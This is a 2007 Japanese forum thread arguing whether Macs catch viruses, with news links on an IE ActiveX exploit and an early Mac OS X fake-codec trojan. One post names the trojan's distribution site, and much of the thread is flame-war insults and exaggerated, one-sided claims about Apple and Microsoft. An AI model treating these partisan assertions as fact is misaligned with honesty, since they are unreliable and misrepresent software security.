MSのDirectX Media SDK脆弱性でエクスプロイトコードが登場
http://www.itmedia.co.jp/enterprise/articles/0708/15/news008.html

＞MicrosoftのDirectX Media 6.0 SDKに問題のActiveXコントロールが含まれ、
＞Internet Explorer（IE）経由で悪用される恐れがある。
＞ユーザーが細工を施したHTML文書を閲覧すると、リモートの認証を受けない
＞攻撃者が任意のコードを実行したり、IEをクラッシュさせることが可能になる。

ですと。

そして・・・

＞Microsoftは14日、8月の月例セキュリティ更新プログラムを公開したが、
＞この問題に対処したパッチは含まれていない模様。


対策もされていない。と・・・　さすがだWindows。

winだと最近でもこんなのあったけど
これってwinに最新のパッチ当ててても感染したのかな？

イタリアで大規模な攻撃、多数の有名サイトに罠が仕掛けられる
http://itpro.nikkeibp.co.jp/article/NEWS/20070618/275131/

Webからの大規模ウイルス感染がイタリアで発生
http://internet.watch.impress.co.jp/cda/news/2007/06/19/16088.html

>>572
自分の無知さを晒して恥ずかしいね。

>>575
あなたが？

最近のMacユーザーには羞恥心というものがないからね。

>>577
最近のMacユーザーには（最近のWindowsユーザーに比して）羞恥心というものがないからね。
これは全く正しくない。

最近のMacユーザーには（昔のMacユーザーに比して）羞恥心というものがないからね。
これでも微妙。

最近の日本人には（昔の日本人に比して）羞恥心というものがないからね。
これが正解。

Macは隠蔽と捏造の総合商社。
ベンチは偽装だし高度な脆弱性を有するw
生きてて恥ずかしくないの

Mac ２件wwwwwwwww
http://images.google.co.jp/imgres?imgurl=
http://ww3.tiki.ne.jp/~momo/life/taiji1.jpg&
imgrefurl=http://ww3.tiki.ne.jp/~momo/life/taiji1.html&h=292&w=440&sz=28&hl=ja&start=2&um=1&tbnid=4AqlQB0NdjQtcM:&tbnh=84&tbnw=127&prev=/images%3Fq%3D%25E4%25B8%25AD%25E7%25B5%25B6%26svnum%3D10%26um%3D1%26hl%3Dja%26lr%3D%26sa%3DN

>>576-577
>>あなたは、自信を持ってマカに言い返したけど、
あっさりとソース出されて恥じかいた>>572だね。

自演までして恥ずかしくない？

ところで・・・・。



Macのウィルスまだぁー？

スーパーハカーもお手上げ、それが堅牢の砦Mac（＾-＾）v

別にMacだけが堅牢とかそーゆーんでなくて、
MSが一般用に売ってたWindowsってのが自前でシステムを
まったく防御していないっつー”超サイバーノーガード”OS
だったつーだけの話で。

UNIXに一般的に感染するよーなウィルス作れれば、
いくらでもインターネットネットボコボコにできんのに
どこのスーパーハカーもやらんでそ？

XPまでのWindowsが超ザル過ぎたんだよ。

なぜか堅いはずのVistaでもいろいろ出てきてるのがアレだけどな。

ハッカーコミュニティはゲイツのやり方が気に入らなくて
ウイルスを作りまくる。

ジョブズはヒッピーなのでハッカーたちも共感する部分が多く
あまりウイルスを作りたがらない。

>>583
コーヒー吹いたｗ

単にユーザーが少ないから
ウイルスばらまいても面白くなくてやらないだけじゃね？

俺なんかケツから溜め息が出たぜ

人間は肛門から呼吸することは出来ない。

オナラは出るな。

マックはウィルスに感染しないと思っていたら大間違い。
マックに特化したウィルスも中にはあるよ。

で、実際の被害報告とかあるの？

と、いうか特化ってなんだ・・・
なんにでも感染して伝染する汎用ウィルスとかあんのか。

×Macはウイルスにかからない
○Macはウイルスにすら相手にされない

そのおかげで安心して仕事に使えてます。

>>594
不思議とヤじゃない

×Macはウイルスにかからない
×Macはウイルスにすら相手にされない
○Macが堅牢すぎるのでウイルスを作れる奴がいない

ということにしてください。

> Macが堅牢すぎるのでウイルスを作れる奴がいない

寝言は寝て言え。

しかし、実際にいない

>>600
ttp://pc11.2ch.net/test/read.cgi/pcnews/1162603124/1-100

>L>600
ttp://pc11.2ch.net/test/read.cgi/pcnews/1162603124/1-100

OSX.Macarenaかー懐かしいねー

コンパイルしたアプリケーションをユーザーが実行すると
同じディレクトリにむきだしで置いてある
ある種の実行ファイルに感染する。って
コンセプト検証”ウィルス”。

ポイントはOSXの実行ファイルはディレクトリに剥きだしで置いてあることがまずない。
ってとこかなー・・・　感染するのもMach-o形式だけだし、IntelMacやPPCの生
バイナリには感染しないし。
そりゃウィルス危機を煽りたいシマンテックも危険度低にしかできんわな。

にしても元を確認して一番笑うとこは

＞ソースコードをコンパイルすると、OS Xウイルス本体とドロッパの２つの
＞バイナリが作成されます。ドロッパは、現在のマシンにインストールされた
＞WindowsからMac OS Xバイナリファイルに感染することを目的としています。

Bootcamp(parallels)で起動しているWindowsから感染させよう！ってのなｗ
むしろWindowsの存在自体がウィルスなんじゃね？コレｗ

アップルボムとは？

iBook、PowerBook、MacBook、iPodとアップル製品のほぼ全てが
爆発、炎上することを意味している。
どうやらアップルは、製品の寿命を極限まで短くして、Mac信者にこまめに
買い換えてもらうように仕向けているらしいのだが、
保証期間内に壊れて無償修理になってしまうのであまり意味がないようだ。

アップルボムの実例

iPod nano
http://www.blogsmithmedia.com/japanese.engadget.com/media/2007/04/imgp7114.jpg
http://www.blogsmithmedia.com/www.engadget.com/media/2007/04/ipodexplode007.jpg
http://www.blogsmithmedia.com/www.engadget.com/media/2007/04/ipodexplode016.jpg

MacBook
http://gigazine.jp/img/2007/03/13/macbook_inferno/macbook_inferno_001_m.jpg

PowerBook
http://www.blogsmithmedia.com/www.engadget.com/media/2006/08/powerbook_blowup.jpg
http://japanese.engadget.com/images/2006/08/powermacbomb.jpg

iBook
http://iori3.cocolog-nifty.com/photos/uncategorized/ibf.jpg

欧州委員会、競争法違反でMicrosoft敗訴、4億9,700万ドルを超える罰金
http://pc.watch.impress.co.jp/docs/2007/0918/ms.htm

コピペ大好きMac信者

AppleTV、iPhone、iPod に OS X を内蔵したおかげで、OS X のシェアがすごい増えてるね

>Mac OS Xの支持者やユーザーは、OS Xにもウイルスや脆弱性が存在
>することに気付かないか、単純に無視しているとSymantecは述べ、
>OS Xは攻撃とは無縁だと思っているユーザー啓発のためにこの報告
>書を使ってほしいとしている。

ttp://www.itmedia.co.jp/enterprise/articles/0611/16/news023.html

>　Macは、ネット上に出回るWindowsを狙った不正コードのほとんどに
>影響を受けないが、だからと言ってMacのOSにセキュリティホールがな
>いということにはならない。Appleから頻繁にOSのパッチがリリースさ
>れていることからもそれが分かると同氏は指摘する。
>
>　しかし、同OSはユーザー数が比較的少なく、企業ネットワークでも
>ほとんど使われていないために、これらのパッチはたいていニュースに
>ならない。

ttp://www.itmedia.co.jp/enterprise/articles/0601/27/news062_3.html

もうパソコン市場も飽和してセキュリティベンダーは必死だからね。
そんな中、iPhoneが新しい市場を切り開いていくのを見て、
黙って指をくわえているわけがない。

嘘でもやらせでもいいからユーザーの不安感を煽り、
自社製品の必要性を認知させていくのが生き残る道。

マックウイルスを作るのは難しい：Macarena
http://randomnotes.weblogs.jp/maclalalaweblog/cat109325/index.html

Ducklin がいうには、ソースコードの中に、アップルのプラットフォームで
効果的に作用するウイルスを作るのは難しいと、ウイルス制作者がイライラ
していることを窺わせるような部分があるという。

どうやら幸いなことに、ウインドウズウイルスならすらすらと書けるひとでも
マックのウイルスが書けるようになるまではまだ暫くかかるということのようだ。

>　しかし、同OSはユーザー数が比較的少なく、企業ネットワークでも
>ほとんど使われていない

ﾜﾗﾀｗ
まあこれが現実だよな。

確かWindowsは中学生が作ったウイルスでも被害が出たんだよな。
夏休みの自由研究に最適ってわけか。

Macは偽装、隠蔽、捏造、改ざんの総合商社。
まさに伏魔殿。

基地外ドザチョンっていつもいつもワンパターンw

何年前から使ってるんだw

さすが自宅警備員の中年オヤジww

ドブネズミにしか伝染しない病原菌は人間には感染しない。
ドブネズミにしか伝染しない病原菌はドブネズミにしか感染しない。

Windowsにしか伝染しないウイルスはWindowsにしか感染しない。

当然のことだよね。

>>615
だが、抵抗力が弱っていれば人間にも感染するぞ・・・

抵抗力がいくら弱っても、MacOS XはWindowsのウイルスにはかからない。

OSXを狙ったウィルスが！とか元記事に当たったらディスク感染用に
ブートキャンプやパラレルズで起動しているWindowsを使う。
って代物だったからなぁ。あれは驚いた。

> 抵抗力がいくら弱っても、MacOS XはWindowsのウイルスにはかからない。

そのMacOS Xでもかかってしまう強力なウイルスに
Windowsは感染しないわけだから、
実はWindowsってすごくね？ｗ

オマエの手は足元にも及ばない
Your hand is no match.
你的手脚下也不涉及
너의 손은 발밑에도 미치지 않는다

http://videocast.yahoo.co.jp/video/detail/?vid=288230376151781013

iPhoneのTIFF脆弱性を利用したハックとか見てると、Macが安全だとは思えないんだが。

メールに実行ファイル形式（*.app）は添付できないし
ことあるごとに管理者のID/Passをきいてくるわけだから、
フツーの人が扱うにはMacはウィルスかかりにくいんじゃね？
素人判断でアレだがｗ

VISTAのUACの不評を聞くと、そんなの関係ないって事に気づくよ。
ユーザはデフォルトでOKしちゃうもの。

じゃあ、OKクリックじゃなくて
もっと複雑な手順。
たとえばパスワードを入力するようにすれば
解決するのかな？

Macをハックするのに技術は必要ない。
なぜならユーザーに聞けばいいからだ。

しかし、Windowsに至ってはユーザーに聞く必要すらない。

Macユーザー狙ったトロイの木馬が出現、初の本格攻撃か - ITmedia News
http://www.itmedia.co.jp/news/articles/0711/01/news028.html

ポルノ視聴ユーザーを狙うMac OS向けマルウェアが出現:ニュース - CNET Japan
http://japan.cnet.com/news/sec/story/0,2000056024,20360098,00.htm

これってどっかのサイトからフリーウェア落として
インストールしたらマルウェアだった、
というのと同じじゃん。

Windowsみたいに常に管理者でログインしていて
パスワード聞かれないでインストールされるのとは違うよね。

>>628
まぁそうなんだけどハードルが下がって来たのは確かだよね
ちなみに件のウイルスをDLさせるサイトにはWin用のも置かれてるらしい
Mac狙いっていうより両対応でフィッシング仕掛けてるってことでしょう

「アダルト動画を無料でどうぞ」、Macユーザーを狙う新ウイルス
http://itpro.nikkeibp.co.jp/article/NEWS/20071101/286118/

>>628
> これってどっかのサイトからフリーウェア落として
> インストールしたらマルウェアだった、
> というのと同じじゃん。

今のウイルスってほとんどそれなんだけど？

パスワード聞かれたからってさ、
そもそも自分の意思でインストールしようとしているのだから
パスワード入力しちゃうでしょ？意味が無い。

例えばメールからクリックしていきなりパスワードを要求されたら誰だって怪しむ。
しかしWindowsは聞かれない。だから簡単に感染する。

Macでぁゃιぃサイト見てると、なんかデスクトップに
いきなりexe落としてくるサイトあんだよね。
たぶん、アレ、Winだといきなり実行まで行っちゃうんだと思うけど。
メール添付で開くと実行しちゃう。ってのとかさ。

Windowsはシステムフォルダを弄られることに対しての検出機構を
自前で持ってないから、いったんウィルス(exe)が動作したしたら
その瞬間に感染が成立する。
Mac(OSX)はシステム絡みのフォルダは”なんかインストールしてます？”って
ユーザーの想定外のタイミングでパスワード聞いてくるから、
ファイル偽装で実行ファイルを実行させてもユーザーが弾いちゃう。

”あえて”やろうとするとユーザーにインストールを促す偽装アプリ
（マルウェア）しかないわけで。
でもアレって、セキュリティ会社が必死に「ウィルス」つってるけど、
結局、自己増殖も感染性もないし”流行する”ってもんじゃないんだよね。

今回のはウイルスではない
トロイの木馬だね

Macはウイルスに強いね

>>632
どこの会社がウィルスって言ってるの？

>>634

>>629 の ITPro.

セキュリティをやってるやつらは狂っている

OSのセキュリティホールをついてくるタイプのウイルス
これは実は対処は簡単なんだよね。
OSのアップデートをきちんとやるだけ。

一番問題なのは、ユーザーをだましてインストールさせる
タイプのウイルス。

こればかりは防ぎようが無い。
どうするMac？

>627

これって、振り込め詐欺が増えてる→だから電話は危ない、みたいな論理だなw

「はたけ」を変換してフリーズするのは
ネットワークを介して変換用語を管理しているからだよ。
Macというよりもネットの問題。
分かり易く言うとことえりもiTunes化したってこと。
今後は全てこうなっていく。
プライベートも仕事もすべてアップルの手の中。

というか、ユーザーをだましてインストールさせるなら
どのOSでも防ぎようが無いだろう

Mac使ってる連中は他のOSの連中より騙されやすい

とかいう統計でもあるなら別だけどw

>>637
きちんとアップデートを出来るOSならいいんだけどねえ・・・

例えば、WindowsXPは2014年まできちんとアップデートできる。
Windows2000もサポート終了と言いつつも、セキュリティーホール
対応は未だ続いている。

一方、WinXPに近い時期に出たMacOSXは・・・
有料でOSを買い換えないと・・・

役立たず（活躍する機会がないw)の
ウイルス定義代を毎年払うなんで馬鹿げてる。
普通なら呪うねw

2014年になるまでまともに使えないVistaと一緒にしないでくださいw

てか自宅のWindowsマシンはWin95から一度も感染したことないんだが。
もちろんウィルススキャンでチェックして見つからなかったと言うこと。
お布施するのもアホらしいからもう無料のウィルス対策ソフトに切り替えたよ。

>>644
Win用だとKingsoftがfind.2ch提携で出してたんだっけ。無料の奴

>>642

さあMacをのろってください。

「アダルト動画を無料でどうぞ」、Macユーザーを狙う新ウイルス
http://itpro.nikkeibp.co.jp/article/NEWS/20071101/286118/

>>637
簡単なことだ。
ユーザーを増やさないことでウィルス作者の目を向けさせない。
これほど確実な方法が他にあるだろうか？いやない。

今回のはウイルスではない
トロイの木馬だね

Macはウイルスに強いね

>>643
でも、マイクロソフトは、XPに完全に切り替わっている現在ですら、Windows2000の
パッチを出しているんだけど・・・

で、実は、Windows98もこっそりパッチがでることもあったり・・・

病弱だと何かと大変だな

セキュリティーの低いwindowsは大変なんだね

信者って、マックユーザーにとっても害毒だな・・・

アップル自身もMacOSXに欠陥があることを認め、定期的なパッチを公開しているというのに・・・
放置されているバージョンが存在するのも事実だし・・・

>>650
>>651
妄想の世界で生きるのは楽しいですか？

すぐ釣られるなお前らw

可能ならオーエスを変えることをお進めしますwwwwwwww

AppleのディスカッションボードのMac OS X v10.5 Leopard（旧フォルダ）って
名前間違ってるだろ？

不具合情報フォルダじゃんかｗ

Mac OS X v10.5 Leopard（旧フォルダ）
http://discussions.info.apple.co.jp/[email protected]@.f02f94c


大量の不具合情報を隠蔽しようとしたから
こうなってしまったんだな。

アンチウイルスがかなり普及しているWindowsを狙うより
ウイルス対策がおろそかになっているMacやLinux狙った方が
被害多いのでは？

Unix系なOSだとwinみたいなウイルスは簡単につくれないんだよ

>>658
またアホマカが無知を晒してるよ・・・
Windowsにウィルスが蔓延している理由は主に三点
・バグ・セキュリティホールが多い
これは時間の経過と共にXP, Vistaで改善されてきた。

・（スキルの低い）ユーザーの絶対数が多い。
これについては言わずもがな

そして一番でかいのが
・運用が悪い
はっきり行ってこれに尽きる。じゃあユーザーの責任かといえばそうではなく
MSがそういう運用を推奨どころかでそう誘導してしまっている為。
この点でMSは死ぬほど叩かれるべきだが

>Unix系なOSだとwinみたいなウイルスは簡単につくれないんだよ
こんなよくわかっていないけどとりあえず言ってみましたという理由では全くないんだよ。

Unix系な管理者とユーザー権限が厳格に分離されているOSだと
winみたいなみんな管理者でログオンする楽勝な環境で動く
ウイルスは簡単につくれないんだよ

660 名前：名称未設定[sage] 投稿日：2007/11/03(土) 13:38:24 ID:u1lQIvPP0
Unix系な管理者とユーザー権限が厳格に分離されているOSだと
winみたいなみんな管理者でログオンする楽勝な環境で動く
ウイルスは簡単につくれないんだよ

windowsのフォルダ構造自体がウイルスにかかりやすいんだよ

今回のはウイルスではない
トロイの木馬だね

Macはウイルスに強いね

Windowsはレジストリで一元管理しているシステムを何とかしないと

>>659
なあ。「管理者がログインしているとプログラムがシステムフォルダを
勝手に弄っても一切警告なんてしねぇ。ってか警告システムなんて無ぇ。」
って糞システムを「運用が悪い」って擁護すんのはいくらなんでも無理があんぞ。
信者はどうしようもねぇな。

windowsをかばう信者がいるんだな

よく分からないんだが、LeopardではClamAVが標準搭載されているの？
　ttp://journal.mycom.co.jp/news/2007/10/31/025/index.html
そもそもDarwinが何だか分からんので。

>>665
そのことでウィルスが蔓延した直接の原因じゃないんだよ。
話はシステムが糞かどうかじゃなくウィルスがなぜ蔓延しているのか。だ。
頭使えよｳﾞｧｶ。

> ウィルスがなぜ蔓延しているのか。

それを議論するのなら、
今現在どんなウイルスが蔓延しているのかを
調べる必要があるな。

で、どんなウイルスが蔓延しているの？

エロゲーウイルスが流行ってんじゃん。
Windowsユーザーはみんなエロゲー大好きだからすぐ引っ掛かる。

なにいってんのこいつ？

昔は有能なユーザーが多かったMacも、今やオツムに傷害を抱える信者しか
残ってないんだろうねえ・・・

いくら都合の悪い真実の隠蔽を繰り返しても、アップル自身は正常な企業として
再生を目指しているから乖離が広がる。

信者がPowerPCの絶対的な正義を説いている間に、アップルはただのPCである
インテルMacの開発を進め、OSXに完全無欠な究極OSの幻想を描いている間にも
パッチを発行する・・・

そして、金のない信者を撲滅するために、古いOSの欠陥は放置し、金を要求する・・・

ポエム（笑

>>672
> そして、金のない信者を撲滅するために、古いOSの欠陥は放置し、金を要求する・・・

うっは、そのまんまVistaのことかと思う内容だw

一定以上の知能があればプラットフォーム問わずウィルスなんてかからないよ。
逆に特定のプラットフォームがどうのと大騒ぎしている奴は（ｒｙ

わかるわかる

ということは、Windowsユーザーは一定の知能に達していないユーザーが沢山いると。

ドザがわんさか釣れますよwwwww

残念つれたのはマカだけだった。

つーか、ドザってホント、憶測で物事をはかるからな。
妄想の中から出てきてほしい。

アップルだけだぞ。これほど多量の前科があるのは。 他社とは桁違いの不祥事の量だ。
注目すべきは不具合の多さとその対応の遅さや酷さ、放置して逃げたものもある。 つまり常習犯だよ。
他社とは違うのだよ他社とは。アップルなんかと一緒にされちゃどんな企業もかわいそうだ。

Yosemite前期型 → ATA部位に不具合 → 放置
PowerBook G3 Series → アダプタから発煙の危険性 → 期間限定無償交換
Lombard → メモリモジュールの不具合 → 放置
Pismo前期型 → ロジックボードの虚弱体質 → 放置
Cube → 電源部から発火のおそれ → 期間限定無償修理＋筐体のウェルドクラック(熱収縮ヒビ割) → 金型の跡と放置
初代AirMac → コンデンサ虚弱体質で寿命が一年説 → 放置
eMac&箱iMac → CRT画面が上下からかなりの割合で縮む → 放置＋グラボがへたれる虚弱体質、上記と関連？ → 放置
DualUSB他 → グラボがあぼーんする時限爆弾 → 期間限定無償修理（何度やっても爆発）
初代Titanium → バッテリが落下する → 期間限定無償処置？＋鬼発熱で膝の上で使うと低温やけど、高温による変色 → 放置
初代大福 → 液晶モニタが数センチ斜める → 放置
TitaniumP88"以降？ → ホワイトスポットで一部液晶がヘンになる → のらりくらり対応
Gigabit Ethernet → 特定条件下でカーネルパニック続発 → 原則放置
Mirrored Drive Doors → ファンが爆音 → ファームウェア＆静粛ファン送付
FW800 → メモリモジュールの不具合の可能性 → 完全無視
iBook→バッテリー爆発
PowerBook G4→バッテリー爆発
sawtooth→FWのプラグ＆プレイの突入電流でFW死亡→放置
iMac G5 → 奇声を発する → 放置＋ コンデンサ潮吹き＋熱設計ミスにより常に超高温動作→熱暴走＝短命化
iPod →　ウィルス混入＋爆発＋バッテリー持続時間を本来より長く表示する嘘＋液晶傾き＋クリックホイールの膨らみ
MacBook→ 充電機能の不具合でバッテリー爆発＋突然電源が落ちる＋アダプターが発火＋謎の黄ばみ＋謎のひび割れ＋訴えられるほど酷い糞液晶

ウィルスの根本的な狙いはソフト会社の信頼を失わせることだから
ソフト数がないMacを狙うメリットはない

Macユーザーを狙うウイルスの亜種が続出
http://itpro.nikkeibp.co.jp/article/NEWS/20071107/286577/
↑
亜種を9999まで確認
http://www.virustotal.com/resultado.html?07f98558562949871b7d205b477d4dfa
http://www.virustotal.com/resultado.html?d238257c34e1859e62eb043c57b8f700

zlob同様サイズを少しずつ変えてスキャナをすり抜けさせている模様
というか同じ組織がやってる？

windows版は今繋がらないからよくわからないが1000.exeを確認
zlob同様DNS　CHANGER

とても手に負える代物ではない…
ttp://www.itmedia.co.jp/enterprise/articles/0711/07/news025.html
Mac攻撃は一過性で終わらず

Macを狙った本格的なマルウェア攻撃が初めて発見された問題で、セキュリティ
企業のF-Secureは11月6日、この攻撃は一過性のものではないようだと伝えた。

F-Secureによると、Macを狙った問題のトロイの木馬は、少しずつ手を加えた
バージョンが公開され続けているという。

攻撃を仕掛ける側は、Windowsに加え、Macを標的とした攻撃に本腰を入れて
いるようだとF-Secureは解説。攻撃がすぐにやむ気配はないとみている。

Sunbelt SoftwareもF-Secureのブログを引用し、この見方に同意している。
また、McAfeeのブログでも今回のトロイの木馬について、クリック詐欺や
アフィリエイトの売り上げ乗っ取りといった違法行為を通じ、金銭をだまし
取ることを狙ったプロ集団が仕掛けたものだと分析している。

>>682
残念だったな

Macに感染するトロイの木馬、配布サイトがまた出現 - ITmedia News
http://www.itmedia.co.jp/news/articles/0711/14/news027.html

注意　注意
問題のサイト//zangcodec.net/index.php

突撃してダウンロードしてみたがサイトエラー

ブログで伝えた。
ブログで伝えた。
ブログで伝えた。
wwwwwwwwwwwwwwwwwwwwwwwww

Macってウイルスが無いんだね

>>685
ダウンロードできたけどexeファイルだからwin版だよね。
どこかにmac版がないかな？

>>683
>zlob同様DNS　CHANGER
よく分からんが、ipfwでUDPの53の宛先を本来のDNSサーバーのアドレスに指定して、その他のアドレスはDenyに
しておいても、すり抜けられてしまうのだろうか？

ho

超デマ。
.dmgを.exeにかえたMac用、実質どのマシンでも発症しない無理
起動しないw、起動させたオマエはテロリスト。気をつけろw

セキュリティをやってるやつらは本当に狂っているよね

結局バカがパスワード聞かれて素直に書き込まない限り
Macは安全と言うことでいいんですよね？
しかも拡散はしないから被害は広がらないと
流石Macですね

クリックしなくてもシステム乗っ取り：マルウェアが有名サイトに続々侵入http://wiredvision.jp/news/200711/2007111920.html

ロサンゼルスのITディレクター、John Mark Schofield氏は、Canada.comの閲覧中に
このマルウェアに出くわした。Schofield氏は、自分がそれほど深刻な被害を受けなかったのは
『Mac OS』搭載マシンを使っていたからだと考えている。

「私の感触では、もし『Windows』マシンを使っていたらもっと酷い目にあっていただろう。
マルウェアをインストールされたかもしれない。でも実際はブラウザーを乗っ取られただけだったので、『Firefox』を終了するだけで直った」とSchofield氏は言う。

>>694
なんかわざとらしいタイトルだなぁ。
動画見たけど、しっかりクリックしてるじゃん。

ようするに、Windowsのダイアログ風の画像を表示する
HTML+JavaScriptでだましているだけなんだから、
その気になれば、Mac版だって作れるよ。

Safariで表示されるダイアログの画像を使って作ればいいだけなんだから。
パスワード入力する必要があっても、だまされている上意味ないしね。

そうか、じゃおまえつくってみろ。試してやるから。

総会屋の気違い
「嘘」は「嘘」と言わなきゃだめだろw
「嘘は言っていない！」なんて顔真っ赤して叫ばれてもねぇw

ふ・・ん

アップルだけだぞ。これほど多量の前科があるのは。 他社とは桁違いの不祥事の量だ。
注目すべきは不具合の多さとその対応の遅さや酷さ、放置して逃げたものもある。 つまり常習犯だよ。
他社とは違うのだよ他社とは。アップルなんかと一緒にされちゃどんな企業もかわいそうだ。

Yosemite前期型 → ATA部位に不具合 → 放置
PowerBook G3 Series → アダプタから発煙の危険性 → 期間限定無償交換
Lombard → メモリモジュールの不具合 → 放置
Pismo前期型 → ロジックボードの虚弱体質 → 放置
Cube → 電源部から発火のおそれ → 期間限定無償修理＋筐体のウェルドクラック(熱収縮ヒビ割) → 金型の跡と放置
初代AirMac BaseStation→密閉構造で放熱が悪くコンデンサの寿命低下
eMac&箱iMac → CRT画面が上下からかなりの割合で縮む → 放置＋グラボがへたれる虚弱体質、上記と関連？ → 放置
DualUSB他 → グラボがあぼーんする時限爆弾 → 期間限定無償修理（何度やっても爆発）
初代Titanium → バッテリが落下する → 期間限定無償処置？＋鬼発熱で膝の上で使うと低温やけど、高温による変色 → 放置
初代大福 → 液晶モニタが数センチ斜める → 放置
TitaniumP88"以降？ → ホワイトスポットで一部液晶がヘンになる → のらりくらり対応
Gigabit Ethernet → 特定条件下でカーネルパニック続発 → 原則放置
Mirrored Drive Doors → ファンが爆音 → ファームウェア＆静音電源送付
FW800 → メモリモジュールの不具合の可能性 → 完全無視
iBook→バッテリー爆発（アップルボム）
PowerBook G4→バッテリー爆発（アップルボム）
PowerMac G4初期型→DualProcessorに未対応
sawtooth→FWのプラグ＆プレイの突入電流でFW死亡→放置
iMac G5 → 奇声を発する → 放置＋ コンデンサ潮吹き（アップルボム）＋熱設計ミスにより常に超高温動作→熱暴走＝短命化
iPod →　ウィルス混入＋爆発（アップルボム）＋バッテリー持続時間を本来より長く表示する嘘＋液晶傾き＋クリックホイールの膨らみ
MacBook→ 充電機能の不具合でバッテリー爆発（アップルボム）＋突然電源が落ちる＋アダプターが発火＋謎の黄ばみ＋謎のひび割れ＋訴えられるほど酷い糞液晶

Macはウイルスにかからないというから、
Mac用にウイルスを作ってみたんだが、
普通にかかったよ。

>>700
じゃ、とりあえず広めてみてくれ

広めたら犯罪だし、
広めようにも人が少ないからなぁ。

そして MacOS X にはウイルスが無い、と

「かからない」と「無い」は、似ているようでぜんぜん違うな。

>>704
結果は同じだろ。

どっちにしてもウソだし。

どっちにしてもウイルスで困るのが Windows、困らないのが Mac ということで FA

それ以前に「Windowsがウィルスに対してノーガードで一般的なOSとしては
むしろ例外的に弱い部類である」って大前提をドザがぜんぜん理解しないのが困る。

Macが強いんじゃない。　Windowsが恐ろしく脆弱だ（だった？）のをまず理解しろと。
Vistaはやっと堅くなったはずなんだが一向に普及する様子がねぇし・・・ったく・・・

ほかのOSにウイルスが少ない状態で、
ウイルスに対する強さなんて比較できるわけが無いだろう。

昔は”ネットワーク”なんて特殊なものは大企業か大学にしかないものとされていて。
一台一台が独立してる『パソコン』にセキュリティなんておおげさなものはいらない。
と考えられていた。
だからMS-DOSもWindows95もMacOSも昔はぜんぶノーガード。
大学や大企業でコンピュータを共有するUNIXだけがそういうことを考えたOSになっていた。

で、MSは企業や大学など向けにUNIXに対抗しうるセキュリティと安定度を持ったOS
としてWindowsNTを開発する。Windows2000、WindowsXPもこの流れに属する・・・

・・・んだが、ぶっちゃけた話。
”一般向けのXPでセキュリティ設定なんかさせたらめんどくさがれるから全部オフ。なし！
　やりたい人だけが設定はできるようにしとく。そういうことが必要な企業や大学は
WindowsServerを高い値段で用意してるから法人はそれを買わせる。無問題！”
ってやったのよ。
そして、MSの普及戦略でユーザーは知らなくてもネットから勝手にプログラムが
ダウンロードされてインストールされるActiveXやらをつけて”誰でも使えるOSですよー”と。
XPになってもウィルス食らいまくって、ノートンやらウィルスバスターやらが必須になってんのは
このせい。

XPだってセキュリティが！って強弁するドザが、いつも力なく消えていくのは
あるのはあるけど、あるだけで事実上使えるような設定になっていないから。

VistaはあんまりにもXPで酷い目に遭ったからMSがガチガチにセキュアに造ったらしいのだが
そのせいで（またその操作性がこなれてないらしく）いまいち不評なのは知っての通り。

事実誤認だな。
ActiveXは勝手にインストールされることはない。

Macの方はOS9まではノーガードOS。
一方、UNIXの流れを汲むLinuxはガチで固いOS。

で、次期OSのOSXをどうするか？って時にジョブスがなにをトチ狂ったのか
「次のOSXはUNIXベースにします！」ってやりやがって。
正直、アホみたいにカスタマイズのフレキシビリティが高かったMacOSと
UNIXはもう水と油というか、どこをどうやればUNIXベースになるねん！って代物で。

でも、まあ、なんとかしちゃった。なっちゃった。
Macの皮を被ったUNIXで、んーそうだなぁ旧MacOSから使ってる奴からすると
いまだいたい８５％ぐらいMac（笑

で、いろいろ力業でUNIXにMacの操作性をかぶせたので、中身UNIX。
ちゃんとガチの堅さを全部使わせつつMacっぽくもなってる。
だから大学とかで一人のユーザーアカウントがボコられても、大学のマシン全体が
落ちたりしないような堅さをいまのOSXはそのまま受け継いでいる。

だからタイトル通りに「Macはウィルスにかからない」ってのは煽りで言い過ぎではあるけれど
実用上、他のアンチウィルスソフトの類を常備しなくても通常の使用でいきなり
知らない間にシステムになにかが感染したりはしない。
明示的にユーザーがシステムにわざとなにかをインストールするのだけが脅威となる。

そういうマルウェアを”ウィルス”と言うのは、まあ最近のセキュリティソフト会社が
必死だとは言え、ちょっと定義からは外れている気がする。ウィルスで一番おそれられる
”感染が広がる”性質のものではないから。だからそういう意味では「Macはウィルスにかからない」
（マルウェア対策は個人的な安全対策としてはアリだとはおもうけれども）

>>711
もっと多いかな？と思ったけど思ったよりActiveXの穴を使うウィルスは出てなかったね。
大きいのはREDLOFとかぐらいかー　進入するのにActiveXの穴を使ってるから
「ホームページをみるだけで感染」＆「感染したらウィルスメールをばらまき」って奴だ。
ActiveXは感染ルートだからマルウェアとか単体型が多いかな。

それよりIEとOutlookの穴でメールプレビューしただけで感染＆ばらまきの
KLAZEやNimda、SIRCAMの方が痛かったから、むしろ標準機能です。って
IEをつけてNetscapeつぶしをしたこととかを・・・ってその辺はMacも
safariとmailが今じゃ標準だからな（笑

やっぱりせっかくWindowsにもユーザー権限ってもんがあるのに
ログインしてる人＝管理者として設定させたあげく、メール開いただけで
パソコンがウィルスで荒らされて一からインストールしなおしになるような状態を
基本設定にしたMSがアレだと思うぞ。　そこは本当はユーザがMSに怒るとこだ。

ActiveXって「署名確認してくれYO」ってダイアログが出て、
OKすりゃインスコする仕組みが付いただけで、安全宣言したアレだろ？

オレオレ証明書でさえOKしちゃうユーザーが多い状況で、勝手にインストールされることはない？

まあ、ユーザーの操作が原因でインストールされるから勝手にインストールされてないとも言えるが、
無意識にOK押しちゃってインストールされるのは勝手にインストールされるのとほぼ同じじゃね？

さらにActiveXはAPIを直接いじれるわけで、OSの書き換えまで出来ちまう。

せめて、インストール時はユーザーにパスワード入力をさせる程度の対応が出来なかったものか疑問だ。

それをいったら、俺を信じてパスワード入れてくれよ。
とダイアログを出すのもあまりかわらないんだけどな。

ActiveXのまずいところは（実装前にもさんざんセキュリティ関係者にツッコまれてたが）

「ちわー三河屋でーす」「この人は三河屋だという確実には言えません　入れますか？Y/N」

ってとんでもない選択肢を表示してくれることで。
マイクロソフト的には「これでYを選ぶのはユーザーの責任」らしいが、
ヲイヲイ、そこは「三河屋と名乗る人が来てますが、証明がないのでこのルートからは入れません」だろう。と、
案の定「数撃ちゃぜったいひっかかるバカがいる」の法則でスパイウェアがActiveXコンポーネントを使いまくり。
（笑っちゃうのがブラクラ風に「はい」を選ぶまでダイアログを出し続けてインストールを狙うサイトまでw）

そこに輪をかけて劣悪ベンダーが企業だまして「うちの会社はオレオレ証明書持たせてるんで
